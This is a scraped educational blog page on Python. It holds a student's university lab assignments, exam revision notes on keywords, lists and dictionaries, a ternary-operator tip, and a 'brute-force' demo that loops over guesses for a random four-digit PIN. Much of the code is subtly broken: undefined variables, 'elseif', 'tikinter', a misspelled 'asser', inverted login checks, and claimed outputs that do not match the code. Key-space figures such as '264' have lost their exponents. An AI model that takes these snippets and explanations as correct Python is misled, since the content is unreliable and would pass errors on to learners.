-->

ABOUT US

Our development agency is committed to providing you the best service.

OUR TEAM

The awesome people behind our brand ... and their life motto.

  • Kumar Atul Jaiswal

    Ethical Hacker

    Hacking is a Speed of Innovation And Technology with Romance.

  • Kumar Atul Jaiswal

    CEO Of Hacking Truth

    Loopholes are every major Security,Just need to Understand it well.

  • Kumar Atul Jaiswal

    Web Developer

    Techonology is the best way to Change Everything, like Mindset Goal.

OUR SKILLS

We pride ourselves with strong, flexible and top notch skills.

Marketing

Development 90%
Design 80%
Marketing 70%

Websites

Development 90%
Design 80%
Marketing 70%

PR

Development 90%
Design 80%
Marketing 70%

ACHIEVEMENTS

We help our clients integrate, analyze, and use their data to improve their business.

150

GREAT PROJECTS

300

HAPPY CLIENTS

650

COFFEES DRUNK

1568

FACEBOOK LIKES

STRATEGY & CREATIVITY

Phasellus iaculis dolor nec urna nullam. Vivamus mattis blandit porttitor nullam.

PORTFOLIO

We pride ourselves on bringing a fresh perspective and effective marketing to each project.

Showing posts with label python. Show all posts
Showing posts with label python. Show all posts
  • lab based on python assignment M.C.A 3rd sem


    lab based on python assignment M.C.A 3rd sem

     

    Python is a general purpose programming language that is often applied in scripting roles.So, Python is programming language as well as scripting language. Python is also called as Interpreted language.

    Lets start with question no 1 python assignment.


    1. Write a program to create a class, constructor and functions to accept and display the values.



    #!/usr/bin/python3
    
    class Atul:
    
         def __init__(self):
              self.x = input("Enter firstname ")
              self.y = input("Enter lastname ")
         def show(self):
             print("Your firstname is : " , self.x)
             print("Your lastname is : " , self.y)
    
    obj = Atul()
    obj.show()
    
    
    
    


    lab based on python assignment M.C.A 3rd sem


    2. WAP using Dictionary to store userid and password and validate the user based on userid and password.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat second.py       
    #!/usr/bin/python3
    
    from getpass import getpass
    import time
    
    a = input("Enter username ")
    b = getpass("Enter password ")
    
    #key = [1, 2, 3]
    #value = {"java", "android", "web development"}
    
    stored = dict.fromkeys({a},b)
    
    #print(stored)
    
    
    
    username = input("Enter username : ")
    
    if username in stored:
       password = input("Enter password : ")
       if stored[username] == password :
          print("Please wait a seond for checking userid and password...")
          time.sleep(2)
          print("Username and password match")
       else:
          print("user entered the wrong password")
    else:
        print("your username is not registered")
    
    
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ 
    
    


    lab based on python assignment M.C.A 3rd sem


    3. Write a program to create a user defined exception in python and handle the exception using user defined class.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat third3.py 
    class ValueError(Exception):
        pass
    try:
        age= 10
        print("Age is:")
        print(age)
        if age<=0:
            raise ValueError
        yearOfBirth= 2021-age
        print("Year of Birth is:")
        print(yearOfBirth)
    except ValueError:
        print("Input Correct age.")
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ 
    
    



    lab based on python assignment M.C.A 3rd sem


    4. Write a program to start different executable files of system such as calculator, notepad, msword etc.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat fourth2.py
    #!/usr/bin/python3
    
    import os
    import subprocess
    
    def Exitapp():
         exit()
    
    application = []
    while(True):
           print("1 for notepad.exe ")
           print("2 for calc.exe ")
           print("3 for notepad.exe ")
           print("4 for cmd.exe ")
           print("5 for exit ")
    
    
    name = int(input("Enter your choice"))
    
    if(num == 1):
        os.system(application)
    elseif(num == 2):
        os.system(application)
    elseif(num == 3):
        os.system(application)
    elseif(num == 4):
        os.system(application)
    elseif(num == 5):
        Exitapp()
    
    
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ 
    
    


     

    5. Write a menu-driven program to find the area of a circle, square and rectangle in python.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat fifth.py  
    #!/usr/bin/python3
    import sys
    import os
    from colorama import Fore, Back, Style
    
    print("\n****************************************")
    print("Menu Driven Program")
    print(Fore.LIGHTWHITE_EX + "1 For Area of Circle")
    print(Fore.LIGHTGREEN_EX + "2 For Area of Square")
    print(Fore.LIGHTWHITE_EX + "3 For Area of Rectangle")
    print(Fore.LIGHTGREEN_EX + "4 For Quit")
    print("****************************************\n")
    
    
    num=int(input("Enter your choice:"))
    
    if num==1:
       radius=int(input("Enter radius of Circle:"))
       print("Area of Circle",3.14*radius*radius)
         
    elif num==2:
         length=int(input("Enter length of Rectangle:"))
         breadth=int(input("Enter breadth of Rectangle:"))
         print("Area of Rectangle:",length*breadth)
         
    elif num==3:
         side=int(input("Enter side of Square:"))
         print("Area:",side*side)
    
    elif num==4:
         sys.exit() #break
    else:
         print("Wrong Choice")
    
    repeat=input("Do you want to continue? (y/n)")
    if repeat=='n'or repeat=='N':
        sys.exit() #break
    else:
        os.system("python3 fifth.py")
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ 
    
    



    6. Write a program to insert, update, delete and display the values using dictionary in python.

     

    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat sixth.py 
    #!/usr/bin/python3
    
    import time
    
    a = input("Enter the key attribute : ")
    b = input("Enter the value of key attribute : ")
    
    dict = {}
    
    
    
    #for insert an element
    
    dict_append = ({a,b})
    #key = [a, a, a]
    #print(dict_append, key)
    print(dict_append)
    
    print("Please wait a second")
    time.sleep(2)
    print("Now we will use update")
    
    #for update an element
    stored = dict.update({a:b})
    dict['salary'] = 1000
    print("Updated Dict is: ", dict)
    print(stored)
    
    
    #for delete an element
    sixMonths = {1:31, 2:28, 3:31, 4:30, 5:31, 6:"joker"}
    print(sixMonths.popitem())
    print(sixMonths)
    
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ 
    
    

     

     

    lab based on python assignment M.C.A 3rd sem

     

     

    7. Create a Digital clock using tkinter in python.

     


    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat seventh.py
    #!/usr/bin/python3
    
    from tikinter import *
    import time
    
    win = Tk()
    win.title("Digital Clock")
    win.geometry("400 x 150")
    label = label(win.font="Arial", 60, "bold", bg="yellow", font="red", col=25)
    
    label.grid(row=0, column=1)
    
    def clock():
        t1.time.strftime("%H:%M%S")
        label.config(text=t1)
        label.after(1000, clock)
    
    clock()
    win.mainloop()
    
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ 
    
    
    

     

     

    8. Write a program to insert, delete and displaying elements in ascending and descending order using List data type in python.

     

    # List implementation to perform insert, delete and display operations in ascending and descending order
    
    # function to insert elements in the list
    def insert_elements(my_list, element):
        my_list.append(element)
        print("Element inserted successfully.")
    
    # function to delete elements from the list
    def delete_element(my_list, element):
        if element in my_list:
            my_list.remove(element)
            print("Element deleted successfully.")
        else:
            print("Element not found in the list.")
    
    # function to display elements in ascending order
    def display_ascending_order(my_list):
        my_list.sort()
        print("Elements in ascending order:")
        print(*my_list)
    
    # function to display elements in descending order
    def display_descending_order(my_list):
        my_list.sort(reverse=True)
        print("Elements in descending order:")
        print(*my_list)
    
    # main function
    def main():
        my_list = []
        while True:
            print("1. Insert elements")
            print("2. Delete elements")
            print("3. Display elements in ascending order")
            print("4. Display elements in descending order")
            print("5. Exit")
            choice = int(input("Enter your choice: "))
            if choice == 1:
                element = int(input("Enter the element to be inserted: "))
                insert_elements(my_list, element)
            elif choice == 2:
                element = int(input("Enter the element to be deleted: "))
                delete_element(my_list, element)
            elif choice == 3:
                display_ascending_order(my_list)
            elif choice == 4:
                display_descending_order(my_list)
            elif choice == 5:
                break
            else:
                print("Invalid choice.")
    
    # driver code
    if __name__ == '__main__':
        main()
    
    

     

     

    9. Write a program to create a PhoneBook using Dictionary for adding, updating, searching and deleting phone Numbers.

     

    # PhoneBook using Dictionary
    
    # function to add a new contact to the phonebook
    def add_contact(phonebook, name, number):
        phonebook[name] = number
        print("Contact added successfully.")
    
    # function to update an existing contact in the phonebook
    def update_contact(phonebook, name, number):
        if name in phonebook:
            phonebook[name] = number
            print("Contact updated successfully.")
        else:
            print("Contact not found.")
    
    # function to search for a contact in the phonebook
    def search_contact(phonebook, name):
        if name in phonebook:
            print(name, ":", phonebook[name])
        else:
            print("Contact not found.")
    
    # function to delete a contact from the phonebook
    def delete_contact(phonebook, name):
        if name in phonebook:
            del phonebook[name]
            print("Contact deleted successfully.")
        else:
            print("Contact not found.")
    
    # main function
    def main():
        phonebook = {}
        while True:
            print("1. Add Contact")
            print("2. Update Contact")
            print("3. Search Contact")
            print("4. Delete Contact")
            print("5. Exit")
            choice = int(input("Enter your choice: "))
            if choice == 1:
                name = input("Enter name: ")
                number = input("Enter phone number: ")
                add_contact(phonebook, name, number)
            elif choice == 2:
                name = input("Enter name: ")
                number = input("Enter phone number: ")
                update_contact(phonebook, name, number)
            elif choice == 3:
                name = input("Enter name: ")
                search_contact(phonebook, name)
            elif choice == 4:
                name = input("Enter name: ")
                delete_contact(phonebook, name)
            elif choice == 5:
                break
            else:
                print("Invalid choice.")
    
    # driver code
    if __name__ == '__main__':
        main()
    
    

     

     

    10. WAP in python to store students details in csv file.

     

     

    #!/usr/bin/python
    
    import csv 
    
    header = ['sname', 'class', 'roll no', 'subject']
    
    data = [['Atul', 'MCA', 67], ['Khushboo', 'MCA', 64], ['Priya', 'MCA', 64], ['Tinki', 'MCA', 14], ['Umesh', 'MCA', 66], ['Muskan', 'MCA', 8], ['Sweta', 'MCA', 9]]
    
    filename = 'student_data.csv'
    
    with open(filename, 'w') as file:
         for header in header:
             file.write(str(header) + ', ')
         file.write('\n')
         for row in data:
             for x in row:
                 file.write(str(x) + ',')
                 file.write('\n')
    
    

     

     

    11. WAP in python to create a decorator and decorate a function.



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$ cat eleventh.py                                                                                                                                                 1 ⚙
    #!/usr/bin/python3
    
    def decorator_function(func):
        def wrapper_function(*args, **kwargs):
            print("Wrapper function executed before {}".format(func.__name__))
            result = func(*args, **kwargs)
            print("Wrapper function executed after {}".format(func.__name__))
            return result
        return wrapper_function
    
    @decorator_function
    def display_info(name, age):
        print("Displaying information:")
        print("Name: {}".format(name))
        print("Age: {}".format(age))
    
    display_info("Atul", 30)
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/rnc-university-mca/mca-3rdsem-python]
    └─$                                                                                                                                                                 1 ⚙
    
    
    
    


    12. WAP in python to insert, update, display and delete data in mysql database.



    import mysql.connector
    
    # Connect to the database
    conn = mysql.connector.connect(
        host="hostname",
        user="username",
        password="password",
        database="database_name"
    )
    
    # Create a cursor to execute SQL commands
    cursor = conn.cursor()
    
    # Insert data
    sql_insert = "INSERT INTO table_name (column1, column2) VALUES (%s, %s)"
    val = ("value1", "value2")
    cursor.execute(sql_insert, val)
    conn.commit()
    
    # Display data
    sql_select = "SELECT * FROM table_name"
    cursor.execute(sql_select)
    rows = cursor.fetchall()
    for row in rows:
        print(row)
    
    # Update data
    sql_update = "UPDATE table_name SET column1 = %s WHERE column2 = %s"
    val = ("new_value1", "value2")
    cursor.execute(sql_update, val)
    conn.commit()
    
    # Delete data
    sql_delete = "DELETE FROM table_name WHERE column2 = %s"
    val = ("value2",)
    cursor.execute(sql_delete, val)
    conn.commit()
    
    # Close the cursor and connection
    cursor.close()
    conn.close()
    
    





    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     


  • Turn 4 lines of code into 1 with this python

     

    Turn 4 lines of code into 1 with this python

     

    Here's one cool tip for reducing the amount of code needed to create an if else check suppose you have some weather and you want to create a message depending on the weather that you have so if the weather is clear we'll make the message nice otherwise we'll make the message uh oh and all we want to do is print that message if we run it as it is we'll get nice back because right now the
    weather is clear but this took four lines of code and we can actually reduce this to one by using Python's ternary operator.



    weather: str = 'CLEAR'
    weather: str = ''
    
    if weather == 'CLEAR':
       message = 'Nice'
    else:
       message = 'Uh oh...'
    
    print(message)
    
    
    
    


    so instead let's type message of type string it's going to equal nice if the weather is equal to clear else we'll type in uh oh so this reduced the same statement to a single line and if we run it we'll have the exact same result a simple way to look at this is do this if the Boolean is true else do this and that's the secret to using the ternary operator syntax in Python.

     

     

    weather: str = 'CLEAR'
    weather: str = ''
    
    message: str = 'Nice!' if  weather == 'Clear' else 'Uh oh...'
    
    print(message)
    
    

     

    Turn 4 lines of code into 1 with this python

     


     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

     

  • brute-force attack in python

     

    brute-force attack in python



    In a brute-force attack, the advisory attempts to decrypt the ciphertext by using every possible key. If the key is small enough, a brute-force attack can be successful in a matter of minutes. In fact, if the keys are around 222, we can write a Python script to crack the password utilizing brute force. For your estimation purposes, when it comes to brute-force attacks, the following helps you ballpark
    the amount of security you get for various size problems:


    • A key space/message space of 264 is enough for a couple hours of security.
    • A key space/message space of 2128 is enough for several decades of pre- quantum security.
    • A key space/message space of 2256 is enough for several decades of post- quantum security.




    The following is an example of code that will generate a four-digit PIN and then loop through the iterations using brute force to determine the password:



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ cat brute-crypt.py     
    #!/usr/bin/python3
    
    import random
    generated_password = str(random.randint(0, 9999))
    #print(generated_password)
    
    for i in range(10000):
        Trial = str(i)
        if Trial == generated_password:
           print('Found password: ' + generated_password)
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ 
    
    



    brute-force attack in python



    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ 
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ python3 brute-crypt.py 
    Found password: 8737
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ python3 brute-crypt.py
    Found password: 6227
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ python3 brute-crypt.py
    Found password: 433
                                                                                                                                                                            
    ┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/implementing-cryptography/cert]
    └─$ 
    
    
    



    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Python 1st mid sem exam of 3rd semester


    Python 1st mid sem exam of 3rd semester  under ranchi university

     

    Python 1st mid sem exam of 3rd semester Under Ranchi University

     

    Topics covered in this blog

    • Keywords and Identifiers
    • Data types and its function
    • List and its function
    • Dictionary and its function
    • Conditional construct
    • Indentation and Commands
    • Practical Question

     

     



    Keywords and Identifiers



    Python has a set of keywords that are reserved words that cannot be used as variable names, function names or any other identifiers.




    Keywords and Description


    and
    = A logical operator.

    as = The as keyword is used to create an alias. when importing the module. For example -
     

     

    import calendar as c
    print(c.month_name[1])
    

     

     

    We can refer to the calendar module and now we can refer to the calendar module by using a instead of calendar.


    assert = The assert keyword is used when debugging the code.

    The assert keyword lets you test if a condition in your code returns. True, if not, the programmer will raised an assertion error.

     

    For example - 
    
    x = "Hello"
    
    #if condition returns True, then nothing happens
    
    asser x == "Hello"
    
    #if condition returns false, assertion error is raised.
    
    assert x == "goodbye"
    
    

     


    break
    = To break out of a loop. For example
     

     

    for i in range(9):
        if i > 3:
           break
           print(i)
    
    
    

     


    class = To define a class. For example
     

     

    class Person:
          name = "Atul"
          age = 22
    

     

     


    Continue = This keyword is used to end the current iteration in a for loop (or a while loop) and continues to the next iteration.

    For Example
     

     

    for i in range(9):
        if i == 3: 
           continue
           print(i)
    

     


    def = def is used to define a function. For example
     

     

    def myfunction():
        print("Hello world!")
       
    
    myfunction
    

     



    del = To delete a class. For example
     

     

    class myclass:
          name = "Atul"
         
    
    del myclass
    print(myclass)
    
    
    

     



    output   

    NameError: name 'myclass' is not defined
     



    if = This keyword is used to create a conditional statement (if statement) and allows you to execute a block of code only if a condition is True.

     

    x = 5
    if x > 3:
       print("Yes")
    

     

     



    elif = This keyword is used in conditional statement and is short for else if. For example
     

     

    for i in range(-5, 5):
        if i > 0:
            print("Yes")
        elif i == 0:
            print("WHATEVER")
        else:
            print("No")
            
    

     


    else = This is used in also conditional statement. For example 

     

    x = 2
    if x > 3:
       print("Yes")
    else:
       print("No")
    

     

     



    except = Used with expectations, what to do when an exception occurs. For example
     

     

    try:
       x > 3
    except:
       print("Something went wrong")
       print("Even if it is raised an error, the program keeps running")
      
    
    

     

     


    NOTE = (x>3) will raise an error because x is not defined.


    output - Something went wrong...even if it raised an error, the program keeps running.    

     

     


    global = Declare a global variable inside a function and use it outside the function. For example
     


    def myfunction():
        global x
        x = "hello Atul"
        
        
    myfunction()
    
    print(x)
    
    
    

     


    import = import the datetime module and display the current date and time. For example
     

     

    import datetime
    
    x = datetime.datetime.now()
    print(x)
    
    

     

     
    in = The in keywork is used to check if a value is present in a sequence (list, range and string etc)

    The "in" keyword is also used to iterate thorugh a sequence in a for loop.

     

    fruits = ["apple", "banana", "cheery"]
    
    if "banana" in fruits:
        print("Yes")
        
    

     

     


    lambda keyword = The lambda keyword is used to create small anonymous functions.

    lambda function can take any number of argument, but can only have one expression.
     

     

    x = lambda a : a + 10
    print(x)
    

     

     

     

    Python Identifiers

     

    Python identifiers is the name we give to identify a variable, function class module or other object. This means whenever we want to give an entity a name, thats called identifier.



    so, myvariable
        variable_1
        variable_for_print



    • An identification start with the digit, so while variable1 is valid, 1variable is not valid.


    • We cant use special symbol !, #, @, %, $, etc in our identifiers.

     

    For Example


    x = int(input("Enter first number"))
    y = int(input("Enter second number"))
    sum = x + y
    print("The sum of x and y is " , sum)
    
    
    

     


    Q) wap to validate the credentials using python with userid and password

     

     

    def login():
         userid = input("Enter userid")
         pwd = input("Enter password")
         
         if(userid == "Atul" and pwd == "akku"):
            print("You are a valid user")
         else:
            print("You are not a valid user")
         
    
    login()
    

     

     

    Q) wap to display a largest number in python using(if, elif, else)

     

    def largest():
        x = int(input("Enter the value of x \n"))
        y= int(input("Enter the value of y \n")) 
        z = int(input("Enter the value of z \n"))
        
        if(x >= y and y >= z):
          print("x is greater than y")
        elif(y > x and y > z):
          print("y is greater than z")
        else:
          print("z is greater than of all among of them")
    
    largest()        
    
    

     

     


    List and its function



    List is a data type function which store any types of data such as integer, number, string etc.

    There is a so many functions in this list -


    • append()
    • insert()
    • clear()
    • count()
    • copy()
    • copy()
    • remove()
    • index()
    • reverse()
    • extend()



     

    append() = It is a function is used to insert an element and ethe end of the list.


    i = [5, 10, 15, 8, 21]
    i.append(30)
    print(i)
    
    
    

     


    output

    [5, 10, 15, 8, 21, 30]

     


    Insert
    = It is used to insert an element in a specific position in the insert(). Its contains two argument so first contains index number and second the elements.

     

     

    i = [5, 10, 15, 8, 21]
    i.insert(2, 6)
    print(i)
    
    
    

     


    output

    [5, 10, 6, 15, 8, 21]
     

     


    clear() = clear function is used to remove all the elements from the list.
     

     

    i = [5, 10, 15, 8, 21]
    i.clear()
    print(i)
    
    
    

     


    output


    []
     

     


    count() = It is used to count the number of times an element appear in the list. In this function we have to pass the elements name.

     

    i = [5, 10, 15, 8, 10 21]
    i.count(10)
    print(i)
    
    
    

     



    output

    2
     

     


    copy = copy is used to copy one list into another list.

     

    i = [5, 10, 15, 8, 10 21]
    j.copy()
    print(j)
    
    
    

     



    output

    [5, 10, 15, 8, 10 21]


     



    pop()
    = pop() function is used to remove an elements from specific position by passing its index number.


     

     

    i = [5, 10, 15, 8, 21]
    i.pop(2)
    print(i)
    
    
    

     

    output


    [5, 10, 8,21]


     



    remove() = remove function is used to remove an elements by passing the elements name in function.

     



    i = [5, 10, 15, 8, 21]
    i.remove(10)
    print(i)
    

     

     
    output


    [5, 15, 8, 21]




    index() = index() function is used to display the index number or position on the elements in the list. In this function we have to pass the elements name.

     

    i = [5, 10, 15, 8, 21]
    i.index(15)
    print(i)
    
    

     

     


    output


    2

     


    reverse() = reverse() function is used to reverse all of the elements in a list.


     

     

    i = [5, 10, 15, 8, 21]
    i.reverse()
    print(i)
    
    
    
    

     


    output

    [21, 8, 15, 10, 5]

     

     


    extend() = extend() is used to insert all the elements in the last position in the list.
     

     

    i = [5, 10, 15, 8, 21]
    name = ["atul", "hackingtruth"]
    i.extend(name)
    print(i)
    
    

     


    sort() = sort function is used to sort the elements in ascending order or descending order. By default, sort function store the
    elements in ascending order. If we want to display the elements in descending order then we have to use (reverse=true)
     

     

    i = [5, 10, 15, 8, 21]
    i.sort()
    print(i)
    

     

     


    output

    [5, 8, 10, 15, 21]
     

     

     

    In Descending order

     

    i = [5, 10, 15, 8, 21]
    i.sort(reverse=true)
    print(i)
    
    
    

     


    output

    [21, 15, 10, 8, 5]
     

     

     


    Dictionary and its function



    • Dictionary are used to store data values in key: value pairs.
    • Dictionary are written with curly brackets and have keys and values.
    • Dictionary items are ordered.
    • Dictionary are changeable meaning that we can change add or remove items after the dictionary has been created.
    • Duplicates values are not allowed.
    • Dictionary cannot have two items with the same keys.


    • clear()
    • copy()
    • get(keyname)
    • fromkeys()
    • keys()
    • values()
    • items()
    • pop()
    • popitems()
    • update()

     

     
    clear() = clear methods are used to remove all the elements from the dictionary list.

     

    cybersecurity = {
                   "brand" : "Hacking Truth",
                   "domain" : "hackingtruth.org",
                   "service" : "penetration testing"
                   }
                   
    
    cybersecurity.clear()
    
    

     


    output

    {}               
     

     


    copy() = copy function is used to copy one dictionary into another dictionary object.
     

     

    a = {"science" : 67, "maths" : 89}
    b = a.copy()
    print(a)
    print(b)
    
    

     


    output

    {"science" : 67, "maths" : 89}
    {"science" : 67, "maths" : 89}
     

     


    get() = The get method returns the value of the item with the based on key.
     

     

    car = {
            "brand" : "BMW",
            "model" : "Mustand",
            "year" : "1964"
          }
          
          
    x = car.get("model")
    print(x)
    

     

     


    output

    mustang
     
     

     


    fromkey() = It is used to create a dictionary based on the key variable and values variable.
     


    key = [1, 2, 3]
    value = {"java", "c++", "android"}
    dict = fromkeys(key, value)
    print(dict)
    
    
    

     

     
    output

    1 : "java", 2 : "c++", 3 : "android"



     


    keys() = It is used to returns all the keys from the dictionary.
     

     

    dict = {a : "atul", b : "kumar"}
    print(dict.keys())
    
    

     


    output


    dict_keys(['a', 'b'])
     

     


    values() = values is used to return all the value from the dictionary.
     

     

    dict = {1: "java", 2: "c++", 3: "android"}
    value = dict.values()
    print(value)
    
    
    

     


    output

    (["java", "c++", "android"])
     

     

     
    item() = item() is used to return all the keys and value

     

      
    dict = {1: "java", 2: "android"}
    item = dict.items()
    print(item)
    
    
      

     



    pop() = pop() is used to remove an element based on the key path.
     

     

    hisdict = {
              "brand" : "ford",
              "model" : "mustand",
              "year" : "1964"
              }
              
    hisdict.popitem()
    print(hisdict)
    
    

     

     



    output

    {"brand" : "ford", "model" : "mustand"}
     

     

     


    Conditional construct



    In conditional construct python is a block of executed condition become true if condition is becoming not true if check all the elif blocks

    If any of one elif block become true it will print the statement of respective elif block.

    If none of the elif block becming true it executes the else block to define the condition construct. We have to write if inside the paramter and terminate will colon (:) symbol.


    if(avg >= 75):
     

    The body of the construct starts with indentation or block space is space of curly braces.

     

     

    sub1 = int("Enter the marks of student1")
    sub2 = int("Enter the marks of student2")
    sub3 = int("Enter the marks of student3")
    
    
    
    avg = (sub1 + sub2 + sub3)/3
    
    if(avg >= 75):
       print("Grade A")
    elif(avg >= 60 and avg < 75):
       print("Grade B")
    elif(avg >= 50 and avg < 60):
       print("Grade C")
    else:
       print("Grade D")
      
    
    

     



    For loop = for i in marks:

    i = variable (iterate, traverse)
    marks = sequence(list, tuple)
     

     


    In python for loop is used to iterate or traverse in the element of sequence. The sequence can be list tuple, list, dictionary or any string data type. We can stop the execution of for loop by using the break statement.

    We can also give else block in for statement and the else block will block when all the condition becomes false even break statement also.
     

     

      
    For example1
    
    num = [5, 10, 15 ,20]
    for i in num:
        print(i)
    
    
    
    For example2
    
    num = [5, 10, 15, 20]
    sum = 0
    for i in num:
         sum = sum + i
         
    print("sum is " , sum)
    
    
    marks = {"Atul" : 85, "hackingtruth" : 99}
    
    name = input("Enter a name")
    
    for student in marks:
         if(student == name):
            print(marks[student])
            break
         else:
            print("No such name exit")   
    
    
    
    
      
      

     

     

    Practical Question

     

    1Q) wap to add, mul, sub, divide using function ?

     

     

    #!/usr/bin/python
    
    a = int(input("Enter first value : "))
    b = int(input("Enter second value : "))
    
    def add():
        c = a + b
    #    a = 5 + 5
        print("The sum of a and b is : " , c)
    
    def sub():
        c = a - b
    #    b = 5 - 5
        print("The subtraction of a and b is : " , c)
    
    def mul():
        c = a * b 
    #    c = 5 * 5
        print("The multiplication of a and b is : " , c)
    
    def div():
        c = a / b
    #    d =  5 / 5
        print("The division of a and b is : " , c)
    
    
    add()
    sub()
    mul()
    div() 
     

     




    Python 1st mid sem exam of 3rd semester




    2Q) wap to validate a user using dictionary?

     

     

    #!/usr/bin/python
    
    Dict = {"atul" : "atul143", "hackerboy" : "hackerboy143" }
    
    a = input("Enter the username : ")
    b = input("Enter the password : ")
    
    if a and b not in Dict:
       print("You are a valid user")
    else:
       print("You are not a valid user") 
     
     
     

     Python 1st mid sem exam of 3rd semester

     

     

    3Q) wap to using Tk() function interface to add the number?

     

     

     

    from tkinter import *
    
    win = Tk()
    win.geometry("400x400")
    
    Label(win, text="Your First Number:").grid(row=0, column=0)
    Label(win, text="Your Second Number:").grid(row=1, column=0)
    
    # define the label, step 1
    label3 = Label(win)
    
    # set grid, step 2
    label3.grid(row=3, column=1)
    
    first_no = IntVar()
    second_no = IntVar()
    
    
    
    # same goes for here
    e1 = Entry(win, textvariable=first_no).grid(row=0, column=1)
    e2 = Entry(win, textvariable=second_no).grid(row=1, column=1)
    
    
    def add():
        sum = first_no.get() + second_no.get()
        label3.config(text="your final number is:" + str(sum))
    
    mybutton = Button(win, text=("Calculate!"), command=add).grid(row=2, column=1)
    
    win.mainloop()
    
    

     

     

     


     

     

     5Q) wap in python using append, remove, reverse and extend list item?

     

     

    #!/usr/bin/python
    
    listitem = [5, 10, 15, 8, 21]
    print("Before performing the operation " , listitem)
    
    #append
    
    listitem.append(30)
    print("After appending some values : " , listitem)
    
    #remove
    
    listitem.remove(15)
    print("Now, Removing 15 no element from list : " , listitem)
    #
    #reverse
    
    listitem.reverse()
    print("After reversing values : " , listitem)
    
    #extend
    
    name = ["atul", "hackingtruth"]
    listitem.extend(name)
    print("after using extending func : " , listitem)
    
    

     

     

     

    Python 1st mid sem exam of 3rd semester

     

     

     

    6Q) wap to insert product ID, product name and product price in list date types and display it?


     

    #!/usr/bin/python
    
    pid = int(input("Enter the product id (1, 2, 3...) : "))
    pname = input("Enter the  product name : ")
    pprice = input("Enter the product price : ")
    
    list1 = []
    
    list1.append(pid)
    list1.append(pname)
    list1.append(pprice)
    print(list1)
    
    
    

     

     

     

    Python 1st mid sem exam of 3rd semester



     

     

     

    7Q) wap to create a dictionary and add all of the value and also display maximum and minimum value?

     

     

    #!/usr/bin/python
    
    Dict = {"x" : 50, "y" : 60, "z" : 45}
    print(Dict)
    total = 0
    for i in Dict.values():
        total = total + i
    
    print("Sum " , total)
    print("The maximum value is " , max(Dict.values()))
    print("The Minimum value is " , min(Dict.values()))
    
    

     

     

     

     Python 1st mid sem exam of 3rd semester

     

     

    8Q) create a dictionary and add some item in dictionary and display it?

     

     

    #!/usr/bin/python3
    
    a = input("Enter the key attribute name : ")
    b = input("Enter the value of key attribute : ")
    
    Dict = {}
    Dict.update({a : b})
    print(Dict)
    
    
    

     

    Python 1st mid sem exam of 3rd semester

     

     

     

    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.

     

  • Python projects you must try

     

     

    Python projects you must try

     



     

    Python projects you must try


    The best way to learn programming language is to build project with it. Here are some python projects you must try.


    Difficulty Level : Easy(I)


    1. Send Automatic Emails using python
    2. Defang IP address
